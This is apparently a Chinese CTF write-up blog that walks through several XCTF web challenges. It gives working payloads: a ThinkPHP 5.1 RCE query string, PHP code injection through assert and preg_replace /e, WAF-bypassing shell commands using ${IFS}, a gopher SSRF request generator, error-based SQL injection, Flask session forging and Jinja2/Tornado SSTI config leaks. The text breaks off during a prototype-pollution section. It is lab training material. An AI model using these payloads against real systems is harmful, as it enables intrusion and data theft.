少女祈祷中...

(在朋友的推荐下,我选择了攻防世界)

php_rce

考察点:ThinkPHP 5.1框架的远程代码执行漏洞(RCE)

举例子代码:

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

一、原理解析:漏洞是如何触发的?

1. 参数拆解

  • s=index/\think\app/invokefunction
    表示调用 think\App 类的 invokefunction 方法。ThinkPHP的路由解析允许通过URL参数直接指定类和方法,这是漏洞的入口。

2. function=call_user_func_array

指定要执行的回调函数为 call_user_func_array,这是PHP中用于调用用户自定义函数或系统函数的工具。

3. vars[0]=systemvars[1][]=id

  • vars[0]:回调函数的名称(这里是系统命令执行函数 system)。
  • vars[1][]:传递给回调函数的参数(这里是要执行的命令 id)。

整体逻辑

1
call_user_func_array('system', array('id'));  // 实际执行的PHP代码

相当于在服务器上执行 id 命令,返回当前用户信息。

改代码为:

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag

mfw

考察点:Git源码泄露,PHP 代码注入漏洞

1.信息收集,扫描网站发现有大量的git文件,应该是Git文件泄露

image-20250324105301941

2.githacker?

下载了一个早上,老是不行,你奶奶的

3.直接看wp:

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

这里会对file进行第一次检查:

1
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

我们只需要截断注入就行:

1
payload:/?page=').system("cat ./templates/flag.php");//

解释:

文件路径构建

1
$file = "templates/" . $page . ".php";

$file 的值变为 templates/').system("cat ./templates/flag.php");//.php

第一次 assert 检查

1
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

$file 的值代入后,assert 函数实际执行的代码是:

1
strpos('templates/').system("cat ./templates/flag.php");//.php', '..') === false

这里的单引号被攻击者传入的 ' 闭合,).system("cat ./templates/flag.php"); 成为了可执行的 PHP 代码。strpos 函数被中断,转而执行 system("cat ./templates/flag.php"),该命令会在服务器上执行 cat 命令,读取 ./templates/flag.php 文件的内容。

4.改进代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
// 过滤非法字符
$page = preg_replace('/[^a-zA-Z0-9_]/', '', $page);
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// 检查文件是否存在且不包含非法路径
if (strpos($file, '..')!== false) {
die("Detected hacking attempt!");
}
if (!file_exists($file)) {
die("That file doesn't exist!");
}

// 加载文件
include($file);
?>

安全改进点

1. 输入过滤

1
$page = preg_replace('/[^a-zA-Z0-9_]/', '', $page);

这行代码使用正则表达式对用户输入的 $page 参数进行过滤,只允许字母、数字和下划线,会把其他非法字符都替换为空字符串。这样做可以有效防止攻击者通过构造特殊字符(如单引号、括号等)来进行代码注入攻击,大大降低了代码注入漏洞的风险。

2. 避免使用 assert 函数

原代码使用 assert 函数执行字符串代码,容易引发代码注入问题。而此代码直接使用条件判断语句来检查文件路径是否包含非法字符和文件是否存在,避免了执行恶意代码的风险。

3. 路径检查

1
2
3
if (strpos($file, '..')!== false) {
die("Detected hacking attempt!");
}

这行代码检查文件路径中是否包含 ..,因为 .. 常用于目录遍历攻击,通过检查可以防止攻击者通过构造路径来访问系统的其他目录,增强了对目录遍历攻击的防范能力。

4. 文件存在性检查

1
2
3
if (!file_exists($file)) {
die("That file doesn't exist!");
}

在加载文件之前,先使用 file_exists 函数检查文件是否存在。若文件不存在,就终止程序并给出相应提示,避免了因加载不存在的文件而可能引发的错误,同时也防止攻击者通过构造不存在的文件路径进行攻击。

ics-05

考察点:SSRF伪协议,ip伪造

题目提醒我们在维护中心

image-20250324225137226

于是我们点进去,打开源码发现:

image-20250324225123213

可能是文件包含漏洞!

我们尝试filiter,base64读取index.php

image-20250324225341113

解密后得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}
?>

代码注入漏洞

当使用 preg_replace/e 修饰符时,就会出现代码注入漏洞。该修饰符的作用是让替换后的字符串当作 PHP 代码来执行。要是用户能够控制替换字符串或者正则表达式模式,那么他们就能注入并执行任意的 PHP 代码。

我们先打开BP抓包,伪造IP:

1
X-Forwarded-For: 127.0.0.1

构造代码:

1
http://61.147.171.105:59143/index.php?pat=/.*/e&rep=system("find+/+-name+flag*")&sub=test

来寻找flag得到:

image-20250324231331198

发现:

image-20250324231406833

(为什么选择它?它比较短……)

最终payload:

1
?pat=/.*/e&rep=system("more+/var/www/html/s3chahahaDir/flag/flag.php")

得到:

image-20250324231218454

1.漏洞原理

(1) PHP的preg_replace函数与/e修饰符
  • preg_replace 函数用于执行正则表达式替换,语法为:

    1
    preg_replace($pattern, $replacement, $subject);
  • /e 修饰符:当正则模式中包含此修饰符时,$replacement 字符串会被当作 PHP代码 执行(仅在PHP < 5.5.0中有效,高版本已废弃)。

(2) 漏洞代码示例

假设后端存在以下危险代码:

1
2
3
4
5
6
$pattern = $_GET['pat'];  // 用户可控的正则模式
$replacement = $_GET['rep']; // 用户可控的替换内容
$subject = $_GET['sub']; // 用户可控的输入数据

// 执行正则替换,若$pattern包含/e修饰符,$replacement会被执行
echo preg_replace($pattern, $replacement, $subject);
(3) 攻击参数构造

你的请求参数为:

1
2
3
pat=/.*/e
rep=system("find+/+-name+flag*")
sub=test
  • **/.\*/e**:正则模式解释:
    • /.*/:匹配任意字符(包括换行符,因未用/s修饰符)。
    • /e:关键修饰符,启用代码执行模式。
  • 替换逻辑
    • preg_replace 会匹配 $subject(值为test)中的 .*(即整个字符串),然后执行替换。
    • 替换内容 system("find+/+-name+flag*") 被当作PHP代码执行。

2. 攻击过程分解

(1) 正则匹配阶段
  • 模式/.*/e 匹配 $subjecttest)的全部内容。
  • 结果:匹配到字符串 test
(2) 代码执行阶段
  • 替换操作:将匹配到的 test 替换为 system("find+/+-name+flag*")

  • /e修饰符生效:替换内容被当作PHP代码执行,最终执行:

    php

    复制

    1
    system("find / -name flag*");
  • 命令执行结果:系统执行 find 命令,递归搜索根目录下所有以 flag 开头的文件。

(3) 输出结果
  • find 命令的输出(如文件路径)会通过 preg_replace 返回给前端页面。

3. 关键细节说明

(1) 为何空格用+替代?
  • URL编码规则:URL中空格需编码为 %20+,PHP的$_GET会自动将其转换为空格。
  • 示例find+/+-name+flag* → 实际执行为 find / -name flag*
(2) /e修饰符的版本限制
  • PHP < 5.5.0:支持 /e 修饰符,可直接利用。
  • PHP ≥ 5.5.0/e 修饰符被标记为弃用,但仍可能生效。
  • PHP ≥ 7.0.0:完全移除 /e 修饰符,此攻击失效。

Web_python_template_injection

考察点:SSTI

页面一篇空白,只提醒我们是模板注入:

image-20250325124920827

我们扫描,抓包都失败了,测试访问robots.txt发现报错,试试看{{7*7}}?:

image-20250325125243815

成功返回49,找到注入点

具体的参考SSTI专门讲解(

unseping

考察点:1z反序列化

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);

class ease{

private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

function ping($ip){
exec($ip, $result);
var_dump($result);
}

function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}

function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

发现:

1.exec存在注入漏洞

2.是通过

1
2
3
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}

来进行传输的

于是构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}

$command = array('ls');

$obj = new ease('ping', $command);
$serialized = serialize($obj);
$encoded = base64_encode($serialized);
echo $encoded;
?>

注意点:一定要是数组不然无法传入!!!($command = array('ls');)

image-20250326123638784

waf了,没关系,去搜索发现可以使用\绕过

\绕过:

构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}

$command = array('l\s');

$obj = new ease('ping', $command);
$serialized = serialize($obj);
$encoded = base64_encode($serialized);
echo $encoded;
?>

成功返回:

image-20250326123841311

空格又要怎么绕过呢?

空格绕过:

在Linux里面,${IFS}可以代替空格

/代替绕过:

$(printf${IFS}"\57")

Shell 命令替换,目的是动态生成一个特殊字符(这里是斜杠 /),同时绕过 WAF 对某些字符的过滤。具体分解如下:


1. 命令结构解析

  • **$()**:Shell 中的命令替换语法,括号内的命令会先执行,输出结果替换到当前位置。
  • **printf**:Shell 命令,用于格式化输出字符串。
  • **${IFS}**:Shell 的特殊变量,默认值为空格、换行、制表符(即 $' \t\n'),这里用来绕过对 空格 的过滤。
  • **"\57"**:八进制转义字符,对应 ASCII 码的十进制值 47,即字符 /

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}

$command = array('c\at${IFS}f\lag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp');

$obj = new ease('ping', $command);
$serialized = serialize($obj);
$encoded = base64_encode($serialized);
echo $encoded;
?>

错误方法(chr法)

我突发奇想,能不能用chr来进行绕过?

结果绕过成功了,没有返回值。。

问了ai才知道:

为什么你的 chr 绕过失败?

在 PHP 反序列化中,chr 无法直接使用,因为:

  1. 静态字符串特性
    反序列化的字符串是静态的,PHP 不会在反序列化过程中动态执行 chr 函数。例如:

    1
    2
    3
    // 你尝试构造的字符串可能类似:
    $cmd = "c" . chr(47) . "at /flag";
    // 但序列化后的字符串是静态的 "c/at /flag",chr(47) 不会被执行。

    WAF 的正则表达式会直接检测到 cat/,导致拦截。

  2. 反序列化上下文限制
    反序列化仅还原对象属性,不会解析字符串中的 PHP 函数或语法(如 chr${} 动态变量等)。你写入的 chr(47) 会被当作普通字符串,而非函数调用。


3. 为什么 SSTI 中 chr 可以绕过?

在 SSTI(服务端模板注入)场景中,模板引擎会 动态解析 注入的表达式。例如:

1
2
# Flask/Jinja2 模板示例
{{ request.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['os'].popen('id').read() }}

如果模板引擎允许执行表达式,以下操作是可行的:

1
{{ "c" ~ chr(47) ~ "at /flag" }}
  • 动态执行:模板引擎会先计算 chr(47) 得到 /,再拼接成 cat /flag
  • 绕过逻辑
    WAF 可能直接检测 cat/,但通过 chr 动态生成这些字符,可以绕过静态正则匹配

file_include

考察点:文件读取+利用编码转换绕过代码执行

俺寻思着,这不是很简单嘛?

image-20250326154941233

没想到啊,filter被WAF了,那怎么办呢!!!

搜了一下,发现有过滤器这东西

原理:

1
php://filter/过滤器链/resource=文件

之前构造的都是:

1
http://ctf.example.com/?file=php://filter/read=convert.base64-encode/resource=flag.php

这次的构造是:

1
http://example/?filename=php://filter/convert.iconv.UTF-8*.UTF-32*%20/resource=check.php

这里由ai讲解:

  1. convert.iconv.UTF-8.UTF-32 过滤器将文件内容从UTF-8转换为UTF-32编码
    • UTF-8:可变长编码,1~4字节表示一个字符(如<?对应3C 3F)。
    • UTF-32:固定4字节编码,每个字符占4字节(如<变为3C 00 00 00)。
    • 转换效果:原始PHP标签的字节结构被彻底改变,PHP引擎无法识别标签,从而不执行代码。
  2. 绕过代码执行,输出源码
    编码转换后的内容不再是有效的PHP代码,服务器直接返回转换后的文本(即源码的UTF-32编码形式)。虽然看起来是乱码,但通过逆向转换或手动解码即可恢复原始PHP源码。

总结:利用了转码漏洞

其他常见过滤器示例

PHP 的 php://filter 支持多种过滤器,以下是更多实用场景:

(1) 压缩与解压

  • 场景:读取压缩后的文件,或解压已压缩的内容。

  • 示例

    1
    2
    3
    4
    5
    # 压缩文件内容(Zlib)
    php://filter/zlib.deflate/resource=secret.txt

    # 解压并读取
    php://filter/zlib.inflate/resource=secret.txt.z

(2) 字符串处理

  • 场景:移除标签、转义字符。

  • 示例

    复制

    1
    2
    3
    4
    5
    # 移除 HTML 标签
    php://filter/read=string.strip_tags/resource=dangerous.html

    # 转义特殊字符(如引号)
    php://filter/read=string.escape/resource=user_input.txt

(3) 多过滤器链

  • 场景:组合多个过滤器,分步处理内容。

  • 示例

    1
    2
    3
    4
    # 先 Base64 编码,再压缩
    php://filter/read=convert.base64-encode|zlib.deflate/resource=flag.php

    # 服务端返回的内容需要先解压,再 Base64 解码

(4) 字符替换

  • 场景:替换或删除特定字符。

  • 示例

    1
    2
    3
    4
    # 将字母 A 替换为 B
    php://filter/read=string.rot13|string.toupper/resource=file.txt

    # ROT13 编码后再转大写(组合操作)

(5) 加密与解密

  • 场景:简易加密数据(需配合自定义逻辑)。

  • 示例

    1
    2
    # 使用 XOR 加密(密钥为 'secret')
    php://filter/read=convert.base64-encode|convert.iconv.UTF-8.UTF-16|...

3. 不同过滤器的实战用途

用途 1:绕过死亡代码

  • 问题:目标文件中有 die()exit(),直接包含会终止程序。

  • 绕过方法

    1
    2
    # 用 Base64 编码跳过代码执行
    php://filter/convert.base64-encode/resource=file_with_die.php

用途 2:隐藏敏感字符

  • 问题:WAF 过滤关键词如 flag

  • 绕过方法

    1
    2
    # 用 UTF-16 编码 flag.php,隐藏原始文件名
    php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php

用途 3:处理不可见字符

  • 问题:文件包含二进制非打印字符(如图片)。

  • 解决方法

    1
    2
    # 转为可打印的 Base64
    php://filter/convert.base64-encode/resource=image.png

4. 防御建议

  • 禁用危险协议:在 php.ini 中设置 allow_url_include=Off
  • 输入白名单:仅允许包含指定文件,拒绝用户控制路径。
  • 过滤特殊字符:检查参数中是否包含 php://filter 等关键字。
  • 日志监控:记录异常文件包含请求,及时发现攻击行为。

总结

  • 两个例子都是过滤器:一个用编码转换破坏 PHP 解析,另一个用 Base64 避免代码执行。
  • 扩展用法:压缩、字符串处理、加密等过滤器可应对不同场景。
  • 核心逻辑:通过过滤器改变文件内容的“形态”,绕过执行直接泄露数据。

catcat-new

考察点:文件包含,cookie劫持

1.文件包含具体参考专门讲解

我们获得:

1
'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)'

交给ai分析后得到需要修改cookie来验证:

image-20250328130926750

2.cookie劫持:

得到的cookie:

1
session=eyJhZG1pbiI6MH0.Z-Yssw.DcEK7I6kSzMq9rng-AyNK8lH20U
  • 第一部分eyJhZG1pbiI6MH0):Base64 编码的会话数据,解码后是 {"admin": 0}
  • 第二、三部分:签名(Z-Yssw)和 HMAC(DcEK7I6kSzMq9rng-AyNK8lH20U),用于验证数据完整性。

直接访问**/proc/self/maps**获取可读内容的内存映射

/man是无法访问,只能写脚本了

脚本爆破得到cookie_key:

image-20250328175909797

使用工具解密:

1
2
3
python flask_session_cookie_manager3.py decode -s "serect_key" -c "session"(session通过抓包获取)。
eg:
python flask_session_cookie_manager3.py decode -s "7cf9bdae7e8c4369be921a8842001d09*abcdefgh" -c "eyJhZG1pbiI6MH0.Z-aAxg.ZVpB2BFWFqW9tt51nq2dhfdF-dg"

image-20250328190215212

使用工具加密:

1
2
3
python flask_session_cookie_manager3.py encode -s "serect_key" -t "data" (data为想要修改的数据)。

python flask_session_cookie_manager3.py encode -s "7cf9bdae7e8c4369be921a8842001d09*abcdefgh" -t "{'admin': 1}"

image-20250328192024117

最后虽然成功生成了。。。但是不知道是bug还是什么

无法得出flag!!!!!

fileinclude

Cookie文件包含

唯一需要注意的是。。。格式:

1
Cookie: language=php://filter/read=convert.base64-encode/resource=flag

image-20250329000145848

记得在横线下

easyupload

所以我很讨厌upload。。。。。。。

Web_php_include

用其他伪协议就行

要注意的一点是:不能写cat /fl4gisisish3r3.php

这是读取根目录,不是本目录

web2

这考的啥啊。。。

应该是考察密码破解

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

解释:

  • **$_o=strrev($str);**:这行代码将输入的字符串 $str 进行反转操作,结果存储在变量 $_o 中。

  • for($_0=0;$_0<strlen($_o);$_0++){...}

    :这是一个循环,用于遍历反转后的字符串中的每个字符。

    • **$_c=substr($_o,$_0,1);**:从 $_o 中取出当前位置的字符,存储在变量 $_c 中。
    • **$__=ord($_c)+1;**:使用 ord 函数获取字符 $_c 的 ASCII 码值,然后将其加 1,结果存储在变量 $__ 中。
    • **$_c=chr($__);**:使用 chr 函数将新的 ASCII 码值转换为对应的字符,更新 $_c 的值。
    • **$_=$_.$_c;**:将更新后的字符 $_c 追加到变量 $_ 后面。
  • **return str_rot13(strrev(base64_encode($_)));**:对处理后的字符串 $_ 进行一系列操作,首先使用 base64_encode 函数进行 Base64 编码,然后使用 strrev 函数进行反转,最后使用 str_rot13 函数进行 ROT13 加密,最终返回加密后的字符串

叫ai写个脚本好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

// 逆向解密函数
function decode($str) {
// 第一步:ROT13 解密
$str = str_rot13($str);
// 第二步:反转
$str = strrev($str);
// 第三步:Base64 解码
$str = base64_decode($str);
$result = "";
// 第四步:遍历字符串,将每个字符的 ASCII 码值减 1
for ($i = 0; $i < strlen($str); $i++) {
$char = substr($str, $i, 1);
$new_char = chr(ord($char) - 1);
$result .= $new_char;
}
// 第五步:反转
$result = strrev($result);
return $result;
}

// 调用解密函数
$flag = decode($miwen);
echo "解密后的 flag 是: ". $flag;
?>

warmup

文件阅读 + 文件包含

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

注入点:截取 $page 问号前的部分并检查

1
2
3
4
5
6
7
8
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
  • mb_substr 函数用于截取字符串。
  • mb_strpos 函数用于查找字符串中某个字符首次出现的位置。
  • 这里先把 $page 加上 ? 再查找 ? 的位置,然后截取 $page 从开头到 ? 之前的部分赋值给 $_page
  • 接着检查 $_page 是否在白名单中,若存在就返回 true

只要提前把?输入句子躲过检查即可!

1
2
payload:
http://61.147.171.105:64155/source.php?file=source.php?/../../../../../../ffffllllaaaagggg

very_easy_sql

考察点:SSRF,Cookie的sql注入

1.打开源码,发现hint

image-20250330011712407

我们就打开use.php页面,发现是传输url。。可能是SSRF?

image-20250330011851748

2.尝试文件读取

输入file协议:

image-20250330012045566

被拦截了。。。

3.试试看别的协议:

只能看wp了,发现原来是gopher协议吗。。。

写gopher协议脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib.parse

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)

#可更改POST内容
#可更改传输页面比如/flag.php

test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

得出:

image-20250330013910669

发现:

image-20250330013855885

猜测Cookie是注入点:

写代码测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib.parse

host = "127.0.0.1:80"
cookie="this_is_your_cookie=YWRtaW4nICM="

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

image-20250330014212154

出现报错,说明方法正确!:

image-20250330014503552

4.SQL注入

别人wp是报错注入,我试试看union select

1
gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKWZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSksMyM%253D%250D%250A%250D%250A

发现不行,那就试试看报错注入

查数据库
1
admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #

image-20250330161310251

查表
1
admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #

image-20250330161900854

查列
1
admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #

image-20250330162527662

最终查内容:
1
admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #

image-20250330163023020

1
2
3
4
cyberpeace{fe544ad1474af471c992
#不够长?
#使用:
admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #

得出下半部分:

1
92a53b964726ab}

参考wp:攻防世界web新手 - very_easy_sql(非常详细的wp)_easy sql 攻防世界-CSDN博客

easytornado

考察点:SSTI配置文件查询,md5加密

进入页面:

image-20250330174125675

打开hint:

image-20250330174150739

1
md5(cookie_secret+md5(filename))

嘶。。。哪里去找密钥

尝试读取/fllllllllllllag

报错了?又提醒是easytornado

image-20250330174324965

试试看模板注入:

image-20250330174436587

失败了。。。后面好多尝试都失败了,只好去查询WP

直接读取配置文件:

1
2
3
{{handler.settings}}
{{handler.application.settings}}
#绕过方法:{{handler['app' + 'lication'].settings}}

得到:

1
'cookie_secret': 'eff94685-072a-4b1c-88ff-213de1a55c78'
1
md5(filename)=3bf9f6cf685a6dd8defadabfb41a03a1
1
md5(cookie_secret+md5(filename))=3777d84e077d3998d8a7bf6eebd552fe

image-20250330204110225

lottery

老是加载不进去,不刷了

shrine

考察点:(),config,self被禁止的SSTI

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

代码解释:

我们可以在**/shrine/**后面写入任意代码?

发现注入点:

1
return flask.render_template_string(safe_jinja(shrine))

这个代码会自动渲染写入的文件,导致SSTI


步骤:

1.测试:

1
http://61.147.171.105:58629/shrine/{{7*7}}

image-20250330221407734

确实是有注入点

2.读取

image-20250330223018501

括号被过滤了啊。。。

那怎么办呢。。只好问问万能的ai酱

3.最终payload:

1
{{ url_for.__globals__.current_app.config.FLAG }}

解释:利用Flask全局对象

1. 发现盒子的「工具包」

Flask在模板中默认提供了一些「工具」(全局对象),比如:

  • url_for:生成链接的工具。
  • request:处理请求信息的工具。
  • session:管理用户会话的工具。

关键点:这些工具是盒子自带的,你不需要自己带工具进去,可以直接用它们。


2. 选择一个工具:url_for

为什么选它?因为它是一个函数(工具),而函数有个隐藏属性:**__globals__**。
这相当于说:「每个工具都有一个说明书,记录了它所在车间(模块)的所有设备和材料」。


3. 查看工具的「说明书」(__globals__
1
{{ url_for.__globals__ }}

输出:会显示一个巨大的字典,里面包含这个工具所在环境的所有变量和对象。

重点寻找:字典中有一个叫 current_app 的东西,它是当前正在运行的魔法盒子本身(即Flask应用实例)。


4. 抓住盒子的「核心」(current_app
1
{{ url_for.__globals__.current_app }}

输出<Flask 'app'>(这就是你的魔法盒子!)

意义:你现在拿到了盒子的控制权,可以操作它的内部结构。


5. 找到盒子的「密码箱」(config

每个魔法盒子都有一个密码箱(config),里面存放着所有配置,包括钥匙(FLAG)。

1
{{ url_for.__globals__.current_app.config }}

输出<Config {'FLAG': 'flag{example}', ...}>(密码箱里的内容!)


6. 取出钥匙(FLAG

直接访问密码箱里的钥匙:

1
{{ url_for.__globals__.current_app.config.FLAG }}

结果:输出 flag{example},成功拿到钥匙!


为什么这能绕过黑名单?

  • 黑名单规则:代码中设置了 config = Noneself = None,但这里的 configcurrent_app 的属性,不是模板自身的 config
  • 绕过原理:就像盒子的外壳(模板)被设置了陷阱,但你通过内部工具(url_for)直接绕到盒子的核心层,跳过了外壳的限制。

比喻总结

想象你在一个房间里找钥匙,但房门被锁了(黑名单)。你发现房间里有把梯子(url_for),爬上去发现天花板有个隐藏阁楼(__globals__),阁楼里放着整个房子的蓝图(current_app)。通过蓝图找到保险箱(config),最终拿到钥匙(FLAG)!

类似思路:

​ 25.3.29

wife_wife

考察点:原型链污染

尝试过程

错误方法:sql注入

我尝试各种sql注入:

1
2
3
1.直接注入          失败
2.注册注入 失败
3.cookie注入 失败

查看源码

发现一段js代码,但是没有用

我发现注册时候有一个是否是管理员的选项?

但是需要邀请码。。。

image-20250401091424178

不需要爆破?测试sql也不行。

只能看wp

正确方法

污染?

这个词嘛。。。。是第二次见到了,上次,还是在做Nctf呢。

什么是污染?

个人理解:在原有的配置下,又输入一次新的配置,把原本的 加密 配置 or 过滤配置 给覆盖了,这就是污染

怎么污染?

这一题需要去查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
app.post('/register', (req, res) => {
// 从请求体中解析出用户对象
let user = JSON.parse(req.body)
// 检查用户名和密码是否为空
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
// 检查用户名是否已存在
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
// 检查是否为管理员且邀请码是否有效
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
// 创建一个新用户对象,合并 baseUser 和 user 的属性
let newUser = Object.assign({}, baseUser, user) 【污染关键点】
